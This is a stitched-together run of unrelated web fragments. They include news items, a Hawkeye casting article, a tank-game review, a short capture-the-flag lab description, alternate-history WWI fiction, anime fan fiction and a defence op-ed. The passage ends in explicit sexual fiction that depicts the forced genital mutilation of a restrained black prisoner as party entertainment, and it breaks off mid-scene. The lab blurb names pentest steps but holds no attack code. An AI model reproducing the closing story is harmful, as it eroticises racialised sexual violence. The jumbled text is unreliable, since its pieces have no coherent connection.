back and forth on the best way to get it out there. How do you be an out and proud LGBTQ wrestler? How do you be the first person like that? So I did the promo and it was amazing. It was a crazy positive reaction. But a couple months later I did an interview where I was asked what it was like to be the first wrestler—period—to ever come out in a wrestling ring? I literally sat there and started to well up. It finally sunk in. That’s me. It’s so incredible to inspire other people to be OK and open with themselves and others. These responses have been edited for length. VDCF By weiyang Watch 11 Favourites 2 Comments 112 Views <Valkyrie Drive's Charlotte dressed up in some warm Fall or Winter clothes or the former plus an umbrella in some light rain> I like clothing requests because they give the opportunity to explore various fashions. Left without reference most people either draw costume designs from the series or what's simple / familiar to them. There's a whole world of clothing out there which are usually ignored but actually enhance the overall appearance of the character. IMAGE DETAILS Image size 1200x1329px 395.42 KB Show More Published : Nov 6, 2018 floats hit the water? This is where we’re starting.” Both Mr. McDougall and Mr. Holding expect it will take somewhere between two- and two-and-a-half years to secure regulatory approval from Transport Canada to allow passengers to be flown in electrified aircraft. Editor’s note: An earlier version of this article included an incorrect number for the length of most flights. We have a weekly Western Canada newsletter written by our B.C. and Alberta bureau chiefs, providing a comprehensive package of the news you need to know about the region and its place in the issues facing Canada. Sign up today. they run out of money," chief Romney strategist Stuart Stevens said last year. And in our age of newly-empowered outside money and Super PACs, even one rich and motivated donor can prolong a campaign for months. Vavreck said that in 2012, "Santorum and Gingrich stayed in the race through February, March, and April because they each had a big outside donor giving them checks for millions of dollars." Under previous rules capping donors' contributions, they would have had to drop out months earlier. So while Paul may be no front-runner, he's well-positioned to cause heartburn for whoever the front-runner turns out to be. $50s. Prime rib is $65 and Dover sole is as high as $89. A proper meal will run about $200 per person. Here’s a full menu with prices. Sample dishes: Littleneck cocktail with tabasco peppers, wild mushroom omelet, steak tartare with anchovy, scallop with snail ragu, pasta a la presse, cajun snapper, guinea hen Claiborne, prime rib, grasshopper pie. Bonus Tip: Skip the lunch burger, a clean-tasting patty on an everything bun that runs $28 alone, or $41 with fries. Book on OpenTable prominent jeweler in the Mallers Building, said the construction has hurt his sales, too, but it'd be "ridiculous" for him to move. Not only because of the new station on the way, but the bevy of new restaurants and hotels sprouting nearby, too. "I'll wait the storm out and it'll be better than ever," he said. But it's apparent that waiting is a luxury many Wabash stores can't afford. "I have to cut down on other parts of my life to stay here," Domingue said. For more neighborhood news, listen to DNAinfo Radio here: HOBOKEN, NJ — Just in time for Memorial Day weekend, there's a new way to get to the Jersey Shore from Hoboken: NJ Shore Shuttle. Earlier this week, the transportation company announced that starting Friday, May 25, it will be launching air conditioned bus service from CVS in Hoboken to Manasquan, "cutting the time the train takes in half." Tickets will be $20 each way and can be booked here. "This new service will provide shore goers a more comfortable and faster way to get to Manasquan Beach and the surrounding bars & restaurants all summer long," the company stated in a news release.

Deaf Activist Calls for Hawkeye to Be Deaf in Marvel Cinematic Universe Diversity and representation in entertainment and media is important, but one activist wants people to realize that there is a category of diversity that many -- including the Marvel Cinematic Universe -- is missing: diversity of physical ability. Nyle DiMarco, a model and deaf activist, took to social media recently in response to an article by Mic (via Huffington Post) that broke down the MCU's diversity problem by race and gender. Specifically, DiMarco pointed out that disability is an important part of diversity that is left out of most conversations on the subject. However, DiMarco went one step further. He noted that the character Hawkeye is actually deaf in comics but that the MCU made him a hearing character. "Disability is also a part of diversity, @mic," DiMarco wrote. "HawkeEye is actually Deaf and MARVEL Cinematic Universe made the character hearing." DiMarco ended up having a longer conversation with Mic about the issue, elaborating that there are specific comic issues where Hawkeye is deaf and that the films could have built on that with a deaf actor but chose not to. "There are a couple of issues where specifically Hawkeye is deaf," DiMarco said. "And so, they brought in an actor who can hear instead. I think it would have made [better movies]... if they brought a deaf person in to play a deaf Hawkeye." And DiMarco isn't completely off base. Hawkeye has been portrayed as deaf in the past. In 1983's Hawkeye #4, writer Mark Gruenwald had Hawkeye made deaf in a story where Crossfire captured Hawkeye and Mockingbird and tested his machine called the Undertaker on them. The machine could cause anyone exposed to it to go into a violent rage and to stop the effects of the machine, Hawkeye put a sonic arrowhead in his mouth. The trick worked, but also blew out his eardrums, leaving the archer hearing impaired and requiring him to wear a hearing aid. While his hearing was restored in "House of M", Hawkeye was rendered deaf again after an encounter with The Clown though that storyline came in after the MCU Hawkeye came about. DiMarco's call for a deaf Hawkeye in the MCU isn't the first time he's been outspoken about disabilities and the MCU, though his previous issue wasn't with the MCU itself, but instead about AMC Theaters' closed captioning accommodations. Earlier this year, DiMarco shared on Twitter that the theater chain's captioning accommodation -- which required a special device the user has to look at instead of the action on the screen -- skipped lines and made it impossible to watch Black Panther. At the time, AMC responded by offering to look further into the matter. Avengers: Infinity War is in theaters now. Hawkeye is set to return in the upcoming fourth Avengers movie, in theaters May 3, 2019. Do you think Hawkeye should have been portrayed as deaf in the MCU? Let us know in the comments. Disclosure: ComicBook is owned by CBS Interactive, a division of ViacomCBS.

distances, including lower-tier anti-tank guided missiles. The mobility of the Chieftain Mk.6 is also comparable to the stock Mk.5 and is therefore far from stellar, but the firepower of this MBT more than makes up for it. Two shells are available: L15 APDS (272mm penetration, 339 average damage) L31 HESH (20mm penetration, 203 average damage) While the APDS ammunition is universal, the HESH shells (with their increased chance of wounding enemy vehicle crewmembers) are an excellent tool for dealing with very lightly armored targets – or with targets that regular APDS ammunition cannot penetrate. The Chieftain Mk.6 is a slow, but versatile vehicle that will certainly find its place on the battlefield. The Weeknd brought Fifty Shades of Grey to “The Tonight Show Starring Jimmy Fallon” on Thursday with the first televised performance of “Earned It.” Accompanied by a pianist, the Canadian crooner, who turns 25 on Monday, showed off his falsetto—and brand new Yeezy Boosts—during a stripped-down rendition of the seductive song, which appears on the film’s soundtrack. The soundtrack is available now featuring another song by The Weeknd (“Where You Belong”), plus remixes to Beyoncé’s “Crazy in Love” and “Haunted.” The erotic thriller starring Jamie Dornan and Dakota Johnson opens in theaters tomorrow. The sheer scale of the difference means they live what is simply a qualitatively different kind of existence. That gulf creates estrangement and alienation, and one of a particular sort in a democracy where such a minuscule sliver of the population can’t hope to protect itself alone at the ballot box…[Before 2008], celebration of wealth and the wealthy has been near the extreme end of…American history…Mix it with the need to run to the political class hat in hand and that ocean of animus from the public at large… It is that mix of insecurity, a sense of the brittleness of one’s hold on wealth, power, privileges, combined with the reality of great wealth and power, that breeds a mix of aggressiveness and perceived embattlement. What lies ahead in the next stage of negotiations with the EU? What will Britain's place in the world be following Brexit? With the route of the UK’s departure from the European Union still unclear, this week David Aaronovitch looks at Britain’s place in the world and assesses what lies ahead in the next stage of negotiations with the EU. Joining David in the Briefing Room are: Ngaire Woods, Dean of the Blavatnik School of Government at Oxford University, Sam Lowe, Senior Research Fellow at the Centre for European Reform, Meg Russell, Director of the Constitutional Unit at University College London and Stefanie Bolzen, London Correspondent of German newspaper, Welt. Producer: Jim Frank Editor: Jasper Corbett Faulty kitchen wiring sparked a house fire in Southeast Portland that killed a dog and two cats Thursday, according to Portland Fire and Rescue. Smoke was reported about 4:15 p.m. from a home in the 600 block of Southeast 48th Avenue and firefighters found flames coming from the first floor, said spokesman Lt. Rich Chatman,. The dog was found inside and firefighters tried performing CPR but it died at the scene, Chatman said. The bodies of the two cats were later found inside the home. No one else was hurt and the Red Cross is assisting four people who have been displaced by the fire. Chatman said the home sustained fire-related damages to the first and second floors with damages estimated to be about $150,000. -- Nully Cybersecurity - this is an easy-intermediate realistic machine. While working with the machine, you will need to brute force, pivoting (using metasploit, via portfwd), exploitation web app, and using searchsploit. About: Wait 5-8 minutes before starting for the machine to start its services. Also, check the welcome page on port 80. Hints: 'cat rockyou.txt | grep bobby > wordlist' for generating wordlist. Story: You are a Professional White Hat. Small company Nully Cybersecurity hired you to conduct a security test of their internal corporate systems. Feedback. https://twitter.com/laf3r_ Difficulty: Easy-intermediate

and therefore seriously tried to take the naval point of view into consideration. "When you march in France, let the last man on the right, brush the Channel with his sleeve." Alfred von Schieffen had said that. That saying was firmly etched into Moltke’s mind. He thought he had understood what Schlieffen was trying to say. He understood it mean that the Germans should swing wide. With Hipper’s aid he now thought it had another meaning. Schlieffen was also trying to say it was a good idea to seize the Channel Ports, Dunkirk, Calais and Boulogne. Hipper in the last week had driven home to him how important they were—something Moltke had not previously comprehended. In that comprehension the seeds of an alternative plan took shape in Moltke’s troubled mind. It would not defeat the Entente as quickly nor as completely as the Schlieffen Plan would have. Instead it offered the real possibility of Germany being able to eventually negotiate a favorable peace. He developed this plan without telling anyone, except for a few vague hints he let slip to Admiral Hipper. The news of the last two days were all varying degrees of bad—even though von Kluck always tried to make dangers and setbacks sound like opportunities. No matter how First Amy handled the attack on its right flank, it ruined the precious six week schedule and proved the French were not as depleted as he had been led to believe from earlier reports. And it was not just the right wing that was a problem. The attempt to pinch off Verdun, which once looked so promising, now appeared to be faltering. French soldiers were putting up a fierce resistance from the rubble of Fort Troyon, inflicting heavy casualties and preventing the Meuse from being crossed. Likewise it appeared that Joffre had managed to close the Gap of Revigny. Moltke had actually hoped the threat of encirclement would suffice to force Sarrail to abandon Verdun, but alas that had not happened. Another costly failure so far was Sixth Army’s attack on Nancy. General Moltke had worked out the major details of his alternative plan last night. He had made a few minor modifications during the morning based on developments. He now secluded himself for 15 minutes with strict orders not to be disturbed. When he was alone he opened his copy of Knowledge of Higher Worlds and Its Attainment. He selected a meditation exercise that emphasized "right thinking". He considered it to be appropriate. He removed all thoughts of brigades, terrain and supplies from his mind. Well he tried—and eventually partially succeeded. Towards the end of his meditation he was rewarded with an unusual Imagination. He felt strongly the presence of Alfred von Schlieffen. These meditation exercises almost always yielded what he regarded as disappointing results. However here today in Luxembourg he felt he had somehow crossed the Threshold. He ended the meditation to concentrate once again on the war. Suddenly a flood of tears flowed from his eyes. He cried profusely and somehow he felt Schlieffen was crying with him. He suppressed a sob. After three and a half minutes the crying ended. He wiped the tears away with a handkerchief. If someone was to see him crying, it would add to his troubles. He felt better. He did not feel good—but he could honestly say he felt better. He briefly thought about his wife, Eliza. She was more ardent in her anthroposophy than he was. Would she believe a general had communicated to him from the spiritual world? It was a discussion he looked forward to. However there were things he needed to do first. One last time he thought about his plan. His mind was now even clearer. He would do it. The Schlieffen Plan was over. It was time for the Moltke Plan. He returned to his staff and immediately issued orders. The entire Western Front was ordered to cease all offensive action and retire to a defensive line. The II Cavalry Corps was to cross the Oise and guard the west bank of that river as far south as Creil, destroying all bridges in that sector. First Army was to occupy a position stretching from Compiegne to Soissons. All bridges across the Marne west of Chateau Thierry were to be destroyed. Fourth Army’s defensive position was to stretch from Suippes to Ste Menehould. Fifth Army was to occupy a line stretching east from Ste Menehould. Second and Third Army were to fill the gap between First and Fourth Army. The authority to determine the exact boundary between those two armies he temporarily delegated to von Bulow. However early tomorrow morning Moltke would travel by motorcar to Second Army HQ to confer.. He wanted to make sure the high ground of the Montagne du Rheims was used to the best advantage. Sixth Army was firmly ordered to desist in its attack on Nancy and fall back to a defensible position. "When these positions are reached,

Seattle Mariners right-hander Hisashi Iwakuma threw a no-hitter to beat the Baltimore Orioles, 3-0, on Wednesday afternoon at Safeco Field in Seattle, the first no-hitter in the American League in three years. Iwakuma retired the first nine batters of the game before walking Manny Machado to open the fourth inning. That was one of two walks in the inning for Iwakuma, the other issued to Chris Davis. But after the walk to Davis, Iwakuma retired his next 10 batters faced. Jonathan Schoop walked to open the eighth inning, but was erased on a double play. Iwakuma walked three and struck out seven, the latter one shy of his season high. It was the first major league complete game for the 34-year-old Japanese right-hander, now in his fourth major league season. Iwakuma's no-hitter was the first by an American League pitcher since teammate Felix Hernandez threw a perfect game to beat the Tampa Bay Rays on Aug. 15, 2012. There have been 11 no-hitters in the National League since then, including three this season -- Chris Heston of the San Francisco Giants on June 9, Max Scherzer of the Washington Nationals on June 20, and Cole Hamels of the Philadelphia Phillies on July 25. Iwakuma missed over two months on the disabled list with a right lat strain, but has been solid of late. He is 4-1 with his last seven starts with a 2.47 ERA, with 43 strikeouts and eight walks in 51 innings. This was the fifth no-hitter in Mariners history, joining Randy Johnson on June 2, 1990, Chris Bosio on April 22, 1993, a combined one on June 8, 2012, and Hernandez. “Remember that a person’s name is to that person the sweetest and most important sound in any language.” So said Dale Carnegie in his 1936 self-improvement classic, “How to Win Friends and Influence People.” That is probably true for a majority of the population — 79 percent like their names, according to a 2013 survey of 1,844 respondents. Unfortunately, I am in the other 21 percent. I cringe a little whenever I hear someone say my name, and have ever since I was a child. One of my earliest memories is of a lady in a department store asking me my name and bursting out laughing when I said, “Arthur.” Before you judge that lady, let’s acknowledge that it is actually pretty amusing to meet a little kid with an old man’s name. According to the Social Security Administration, “Arthur” maxed out in popularity back in the ’90s. That is, the 1890s. It has fallen like a rock in popularity since then. I was named after my grandfather, and even he complained that his name made him sound old. Currently, “Arthur” doesn’t even crack the top 200 boys’ names. Since 2013, it has been beaten in popularity by “Maximus” (No. 200 last year) and “Maverick” (No. 85). One thing I constantly hear from people I meet for the first time is, “I imagined you as being much older.” I don’t take this as flattery, because at 54, I’m really not that young. What they are saying is that they imagined someone about 100 years old. Why? Because people actually tend to look like their names.

1975 SHARES Facebook Twitter Whatsapp Pinterest Reddit Pocket I found the BEST Twitter user EVER. @BibleStdntsSay‘s profile says this: I teach Biblical Studies for an undisclosed university. These are actual statements from assignments turned in by my students. They’re…um..interesting 😉 I have a kid in college, so I understand the mentality (and the awesome thinking that happens at this age) all too well. The anonymous professor’s responses are even more hilarious than the things his students say. There was too much good stuff in this guy’s Twitter. I only chose the ones that made me genuinely LOL. Expect a Part II. Enjoy! Dear Student, The website http://t.co/2G71xCk2nk is not really considered an academically credible source. — Bible Students Say.. (@BibleStdntsSay) October 26, 2014 "Any reader of the Bible seeking the true meaning of the scripture should not use individual reasoning but rather should ask the author" — Bible Students Say.. (@BibleStdntsSay) November 11, 2013 "For a Christian to be fully saved, they need to accept the terms and conditions." (No purchase necessary. Void where prohibited.) — Bible Students Say.. (@BibleStdntsSay) August 26, 2014 "I guess the fact that movies now use The Rapture as humor has also brought people to believe that it’s actually what will happen." — Bible Students Say.. (@BibleStdntsSay) December 9, 2013 "President Ronald Wilson Reagan is another 666 for me!" — Bible Students Say.. (@BibleStdntsSay) December 18, 2013 "With a Biblical Worldview, one believes God solves problems. Atheists believe in other solutions such as the government or education." — Bible Students Say.. (@BibleStdntsSay) December 20, 2013 "During the struggle to abolish slavery, slave owners did everything in their power to ensure that this did not happen." (You don't say.) — Bible Students Say.. (@BibleStdntsSay) December 20, 2013 "God knew waaay back that people in 2013 could never understand how there was light & dark without a sun & a moon. So BAM he created them." — Bible Students Say.. (@BibleStdntsSay) December 3, 2013 "Articles like this 1 scare me b/c they make me question everything I was ever taught. I’d rather just believe what my family believes." — Bible Students Say.. (@BibleStdntsSay) December 9, 2013 "Freedom from feelings of guilt or shame are is welcomed as an atheist." — Bible Students Say.. (@BibleStdntsSay) August 26, 2014 "During Lincoln's presidency, a nasty civil war erupted." (You might have heard of it.) — Bible Students Say.. (@BibleStdntsSay) August 27, 2014 "Atheists do not live with belief that a higher power is always monitoring your thoughts." — Bible Students Say.. (@BibleStdntsSay) August 26, 2014 "Contrary to these beliefs, an atheist believes that the future is controlled by our human people." — Bible Students Say.. (@BibleStdntsSay) August 26, 2014 "People didn’t start questioning the Bible until the last two centuries." — Bible Students Say.. (@BibleStdntsSay) November 14, 2013 "When I think of the Ten Commandments, I immediately think of how they seem to be similar to the Bill of Rights." — Bible Students Say.. (@BibleStdntsSay) August 26, 2014 Dear Student, I also get suspicious when you forget to put your own name on the paper, but cite Max Weber & Frederick Nietzsche. — Bible Students Say.. (@BibleStdntsSay) August 26, 2014 Dear Student, You DO realize that I can cut & paste sentences out of your paper into google and find the website you lifted it from, right? — Bible Students Say.. (@BibleStdntsSay) August 26, 2014 "Removing yourself from politics altogether goes against God’s revealed will to be submissive to our American government." — Bible Students Say.. (@BibleStdntsSay) August 26, 2014 "The topic of pro?-choice and gay rights tends to be the dividing line between devout Christians and?not so devout Christians." — Bible Students Say.. (@BibleStdntsSay) August 27, 2014 "Scientists have faith in science and they need their logic to explain everything around them." — Bible Students Say.. (@BibleStd

Kaine was more herky-jerky in his approach, but he was drawing a contrast from the side of the aisle where most Americans reside. That came through most directly on illegal immigration and abortion rights. “Donald Trump proposes to deport 16 million people, 11 million of whom are here without documents. They want to get rid of birthright citizenship,” Kaine said. “They want to go house to house, school to school, business to business, and kick out 16 million people. I cannot believe that Gov. Pence would sit here and defend his running mate’s plan that we should create a deportation force so that they will all be gone.” Pence restated the Trump plan far more rosily than Trump has. “Border security, removing criminal aliens, upholding with law, and then — but then, Senator, I’ll work you when you go back to the Senate — I promise you, we’ll work you to reform the immigration system,” he said, getting in a suggestion of defeat for Kaine that he repeated twice. A discussion of abortion arose from the question that showcased the two candidates better than any other: How has their personal faith conflicted with their duties? Kaine spoke of his Jesuit upbringing and his missionary service, and said he tries to practice his faith “in a very devout way.” “But I don’t believe in this nation, a 1st Amendment nation, where we don’t raise any religion over the other, that the doctrines of any one religion should be mandated for everyone,” he said. Approving executions as governor — a practice objected to by the Roman Catholic faith — followed from that belief, he said. “It is difficult for those of us who have these faith lives; we don’t feel we can just substitute our views,” he said. Pence said his religious views had pushed him in the other direction — essentially, to extend his personal views into his political life. “I would tell you for the sanctity of life proceeds out of that ancient principle of God. I tried to stand for the ancient principle of the sanctity of life,” he said. “For me, my faith informs my life. For me, it all begins with cherishing the dignity, the worth, the value of all human life.” It was a brief passage of reflection between the two men, both acknowledging the depth of their faith. But it was swiftly broken by a renewed fight over immigration. “When Donald Trump says women should be punished, that Mexicans are rapists and criminals, he is showing you who he is,” Kaine said. “Senator, with that Mexican thing again,” Pence replied. And then he cast Trump as a defender of anti-abortion policies, omitting Trump’s recent adoption of that position. The debate between the vice presidential nominees soon ended, to be taken up anew by their running mates on Sunday. For more on politics » cathleen.decker@latimes.com Twitter: @cathleendecker ALSO: Updates on California politics Live coverage from the campaign trail

In 1880, a 26-year-old German leather manufacturer named Otto Dahl left his hometown of Barmen for America to hone his skills in the family business. His pursuit led him to Bozeman, Montana. Dahl documented the nearly two years he spent stateside in a diary. Thanks to our sponsors: View all sponsors His experiences traversing the country have been shared with generations of his kin. Now his great-great-granddaughter, Sibylle Randoll, will have an even more intimate relationship with those tales as she recreates the journey Dahl took 136 years ago. Growing up, Randoll read her great-great-grandfather’s stories about his time in America, and in 2012, she decided to revisit them. As she read, she had an epiphany: “He’s seen the Niagara Falls, and I’ve seen them too. Maybe I can see all of the other places that he has been to on this trip,” Randoll said. “The first thing I did that Christmas was make the route. I noted down all of the cities that he mentioned and all of the places that he mentioned, and tried to find them if they still existed.” Below, see her route. And so began Randoll’s #Barmen2Bozeman campaign. “In Germany, [Bozeman] is a destination like, ‘Where are you going?’ People don’t know of it because it’s a small town,” she said. “When we come over, we come to New York, Chicago, San Francisco and all of those places. Bozeman, Montana is not a destination, so I’m going to this place because he led me there.” Despite mapping her trip out in 2012, it would be several more years until she departed for America. “I finished studying, and then I started a job,” she said. “It was just—one day I’ll do this.” Last fall, Randoll realized she would be turning 26—the same age her great-great-grandfather was when he took his trip. “Then I just started planning it,” she said, adding that she had been saving for the trip over the years. Randoll’s family members immediately embraced her decision to travel in her great-great-grandfather’s footsteps. They even had an idea for her clothes. “We’re big fans of ‘Downton Abbey.’ And I think somehow that played a role in this because one day [my mother] comes up to me and says, ‘Well you’re recreating this 1880 journey, why don’t you do it appropriately dressed?’ And I said OK, so here I am with the dress,” Randoll said. The dress is a custom-made 1880s-style, full-length gown. Randoll, with the help of a specialist in historical costume making, designed the blue and gold silk dress and matching hat. In addition to an outfit reminiscent of the 1880s, Randoll totes an umbrella, fittingly, from her great-great-grandmother to complete the look. The journey Despite the many technological advances in transportation since 1880, Randoll traveled to America the same way her great-great-grandfather did—by sea. On May 4, Randoll, accompanied by her mother, boarded the Queen Mary 2 in her custom-made dress. After the weeklong journey, Randoll arrived in New York City and set out for the destination that inspired this trip—Niagara Falls. “I tried to sort of pause for a moment and think, ‘Wow, I’m seeing Niagra Falls again and this is the point in the story when I decided to do this journey, and it’s really important,’” she said. But her arrival at the scenic waterfalls did not go unnoticed. Dressed in an authentic 1880s-style dress, she stood out from the crowd. “When I went to Niagara Falls, I was like a living photo wall,” she said. “It’s a bizarre experience, but then again in this dress, I’m in a certain role.” Throughout her journey she’s been asked by curious onlookers about her attire. “Most often it’s people just wondering and asking what [I’m] doing. Or they ask, ‘Who are you playing?’” she said. “Then I explain it to them, and then they’re like, ‘Oh, wow. That’s

A recent escalation of aggressive acts in the Middle East underline the need for intelligence, surveillance and reconnaissance capabilities. Early warning and the ability to track adversary action is often still missing. Enduring threats continue to take the U.S. and its partners in the region by surprise. Gen. Joe Dunford, chairman of the Joint Chiefs of Staff, noted in response to the latest attacks that the United States does not have “an unblinking eye” in the region, noting that America’s limited ISR assets cannot provide complete situational awareness. Unfortunately, insufficient ISR to monitor “lower-end” adversaries does not bode well for ISR capabilities against “near-peer” adversaries. Increasing persistent surveillance in the Gulf — and perhaps more importantly making adversaries believe they’re being watched — is part of an effective peacekeeping strategy for this volatile region. The National Defense Strategy correctly highlights near-peer capabilities as emerging threats. But deterrence of such threats can be strengthened with good situational awareness, including warnings and indications from persistent ISR. Whether in the Indo-Pacific region, Europe or the Middle East, combatant commanders are vying for more ISR assets to provide both military and policy officials better insight into events in their respective regions, and to let adversaries know that the U.S. is able to attribute attacks using ISR data. Early in 2019, the leader of U.S. European Command stated that he needed greater ISR capacity to respond to the threat of “gray zone warfare,” as exemplified by recent events in Crimea and eastern Ukraine. In the Indo-Pacific, the vast expanses of the oceans and littorals provide ample opportunity for aggression short of full-scale warfare. Our adversaries are less likely to become militarily aggressive if they know they are being watched, constantly. To fill the ISR gap and supplement insufficient organic assets, some combatant commands have resorted to leasing contractor-operated ISR systems. Among the available airborne ISR assets, unmanned systems generally provide the greatest “time-on-station” persistence. They also do not put friendly aircrew at risk. The NDS emphasized building partner capacity because the U.S. cannot be the sole provider of ISR collection assets. The Department of Defense should place a priority on sharing the burden of ISR with partners through a concerted effort to encourage export of such systems using efficient and predictable processes. Restrictions on the export of unmanned aircraft systems have, on occasion, forced U.S. allies to turn to non-U.S. suppliers. The administration continues to take broad policy steps in the right direction, but to really meet urgent operational requirements, the U.S. export bureaucracy must move faster and continue to break down procedural hurdles. Present reality demands more and better ISR for U.S. military operations in many parts of the globe — our combatant commanders have made that clear. × Interested in battlefield technologies? Sign up for the C4ISRNET newsletter about future battlefield technologies. Thanks for signing up. By giving us your email, you are opting in to the C4ISRNET Daily Brief. We must strive to keep that ISR cost-effective, manpower-efficient, and accessible to and interoperable with our allies. It will remain our strongest method of deterrence in the counterinsurgency and gray zone conflicts against state and nonstate adversaries alike, whether they are near-peer or not. Linden Blue is the CEO of General Atomics Aeronautical Systems. Prior to being named CEO in 2014, he served as president of the company’s Mission Systems business, focused on providing integrated ISR and airspace-integration sensor payloads to aircraft platforms.

K.W. Jeter must have been in a bad place when writing his second novelized sequel to the cyberpunk codifier, Blade Runner. I say this because, after a year’s hiatus from reading not only the decanonized series but all literature in general, I dove right back in, head first. To make matters worse, I foolishly chose to listen to it aloud through Google’s text-to-speech app on a long, long trip through meatspace, giving the flavorful text all the warmth and charm of ED-209. Fortunately, in the year’s time that has passed since reading Jeter’s first attempt at continuing Blade Runner, I believe I’ve come unto some amount of understanding and perspective as to why, exactly, it all went wrong, and hopes to whomever wrote the universe’s source code that Replicant Night somehow managed to improve upon The Edge of Human. Luckily for me, it did. But not by much. Synopsis A few years after the events of The Edge of Human, famed ex-Blade Runner Deckard, in desperate need of cash, has signed on as a consultant for a film being shot on Earth-orbiting space station Outer Hollywood. The film is, naturally, a biography based on Rick Deckard’s well-documented final case file, which will ultimately replace the actors’ faces with CGI recreations of the originals’. Meanwhile, Dave Holden, whom most of you will remember as the guy who is instantly wasted at the beginning of the film, shows up on set with a briefcase equipped with an AI version of Roy Batty, because apparently the readers can’t get enough of him. Before he can find Deckard to deliver said briefcase, he’s redirected to the set of the Tyrell Corporation’s Voigt-Kampff interrogation room and is killed by a rogue Kowalski replicant in an incredibly detailed recreation of the first scene. After arriving too late to save Holden, Deckard is given the briefcase and decides to make a return trip to his home on Mars’ colony. Just watch this. You get the idea. Elsewhere, there’s trouble in paradise as Sarah Tyrell, templant and murderer of Deckard’s first love Rachel, realizes things aren’t working out between her and Deckard, pondering the benefits and drawbacks of murder-suicide. Before she can carry out her plan, however, she is accosted by two representatives of the “shadow” Tyrell Corporation (the headquarters of which, readers of the previous article may remember, was destroyed by Sarah). Aside from looking and acting as much like the long-dead Eldon Tyrell as possible, these two reps (unironically named Wycliffe and Zwingli) adhere to a cultlike devotion to the godlike powers of the Tyrell Corporation and believe that Sarah is the key to its resurrection. However, before she can claim her throne, Sarah must first enter the ruins of the outbound space vessel Salander 3, which she and her parents had boarded over a decade prior, in order to discover what exactly caused it to return to Earth and crash in the North Atlantic. There she discovers a young version of herself named Rachel, insisting for the remainder of the book that her new companion is merely a hallucination despite all evidence to the contrary, suffering from severe, lifelike flashbacks of her father’s murder of his mother. Deckard, upon returning home, discovers there is a small packet of water-soluble powder, marked with J.F. Sebastian’s name inside Roy Briefcase, who asserts that he is a vital component in the growing replicant-sympathetic movement (or rep-symps), carrying a list of illegal immigrants to Earth that have been modified to be indistinguishable from human. After purchasing the proper supplies at a back-alley vendor that peddles the chance to meet the god of the buyer’s choosing via similar powders, Deckard partakes of his own dehydrated deity and finds himself in an exact simulation of Los Angeles, particularly Sebastian’s abode. Sebastian, resurrected once more as the god of his own, chemically-programmed realm, discusses the reasons for Deckard’s presence as well as the natures of god and reality before attempting to dissolve his virtual world. Before the drugs wear off, however, he manages to give Deckard a small, ancient first-aid kit, which Deckard somehow carries over with him into base reality. After divulging the events of her mother’s death and father’s suicide upon the Salander 3 (which were erased by her uncle), Sarah murders Zwingli and Wycliffe, returning to Mars and sharing a violent, crazed altercation with Deckard. Deckard, unsure of what to do

I've finally realized my dream!" Back at the mansion, Kyouko, Yasuto, Hiro, and Zero Two talked alone at the dinner table, long after the others had left to do other activities. "I can't believe we pulled it off, but we did." Kyouko then raised her glass. "To success!" The other three also raised their glasses. "To success!" "Say," Zero Two then asked her. "Where did you get your hands on wine? Only parasites aged 15 or higher can have it, and since Squad 13 isn't yet there aside from me and you two, we can't officially get any." "When you've piloted as long as us," Yasuto replied. "And you have the knowledge we do, you can have some serious strings pulled." He then sipped his glass. "I haven't had any since a week before we got booted from Squad 15." He then turned to Hiro. "So, how's your first hard drink?" "It tastes a bit odd," he noted. "But I like it." He then turned to Zero Two. "Have you had this before, Zero Two?" "Of course," she replied as she looked at his eyes. "Let me tell you, it can really ease your tensions." She then moved in closer to a now-blushing Hiro. "And it can make you more at ease, Darling." Kyouko chuckled and said to Zero Two, "Now, hold on a minute. Let's not get carried away here, alright?" She then whispered to Yasuto, "Hey, when we're done, wanna go outside for some fun? Wine wasn't the only thing I brought." Her partner smiled and nodded in response. Zero Two noticed them whispering and asked them, "Hey, are you two whispering secrets? What's up?" "Nothing," Yasuto assured her. "It's fine." Hiro, confused, asked them, "Secrets? What secrets?" "Every pair has secrets that they don't tell other pairs," Kyouko explained to him. "I'm sure that in time, you'll have secrets that you'll tell no one else but Zero Two, and the same will apply the other way around. There's nothing wrong with it at all." She then finished her wine glass before she pulled her phone out. "Wanna hear some of the music we've found over the years?" "Oh yeah," Zero Two noted as she remembered some stories about the pair. "It's been said that you two collect music from ancient runs and convert them to run on modern electronics, right?" "Indeed," Yasuto replied. "We were thinking that a listen-through of the album Jailbreak by Thin Lizzy was in order. Now, Hiro, if you don't know what an album is, it's a collection of songs, usually about 35 to 50 minutes in length." "Ah," Hiro replied. "Who was Thin Lizzy?" He did not know much about music or song, as did most parasites. "They were a band of musicians formed over a hundred years ago," Kyouko told him. "They were from a pre-Klaxosaur nation called Ireland, and made many songs. This album was their most well-known, and for good reason." She then pressed play. "Just listen and you'll see why."

other two lost their cocks and balls. That was also the party were one of the women lost her clit at the roulette wheel." "Wow," I said. "Did you know her?" "Yeah," John said. "I knew her. She was a nice young woman, probably a little older than you. I haven't seen her in Porto Kanda since though. I heard she went back to Europe." "Had she been to lots of these parties?" I asked. "It wasn't her first time," John said. "She had been to several before." "Just pushed her luck too far," I said. "Not really," John said. "It was just bad luck. When your number comes up, it comes up. Nothing you can do." "That is the only time you've seen someone lose at roulette?" I asked. "Yes," John said. "As far as I know she was the first loser in a long time." We arrived at the Island and were driven to the house by the same jeeps as last time. Servants greeted us at the door and showed us to the great hall again. There were only a handful of people in the room. I recognized many of them from the last party, although this time no one was wearing masks. The security chief was here, but with a different woman. The mayor was here too, but he was chatting with the man John said was the local head of organized crime and neither one seemed to be with a woman. There were a couple other couples I recognized, but had never met, and two young men who seemed to be together and without any women. "Not very many people here," I said. "This party is for the true risk takers," John said. "Do they allow men to come by themselves?" I asked. "Ah, you noticed the mayor and Muhammadu over there," John said. "Yes they allow men at this party unaccompanied, but you pay a price." "You have to pay money?" I asked. "No," John said. "You only get fifty to one odd on the roulette wheel instead of one hundred to one." "Oh!" I exclaimed. "That's why you wanted me to come and risk my clit. It is all to keep your cock safer." "Don't be silly," John said. "I wouldn't have come alone. I asked you because I knew deep inside you want to be here." John knew me too well. At the far end of the room were three strange inclined tables. The high portion of the table was rectangular, but the lower portion was like the top of the letter Y, but upside down. These tables were on wheels, so they could be moved around, and they were padded. One was out from the wall, and the other two were resting against the wall. Several men came out and began to set up some equipment around the table. Everyone began to drift down to that end of the room. A man came out leading a young, naked black man. The man began to talk in some African native language. "What's going on," I whispered to John. "It's a government official reading out the charges and sentence before it is carried out," John said. When he finished speaking two guards lead the young black man over to table and forced him to lie back on it. They strapped his arms and legs to the table. Then they brought out the little guillotine. It had a ring that snapped around the young mans balls. There was a metal plate that came up and held his large cock out of the way of the knives. A wire ran away from it to some kind of a control. A 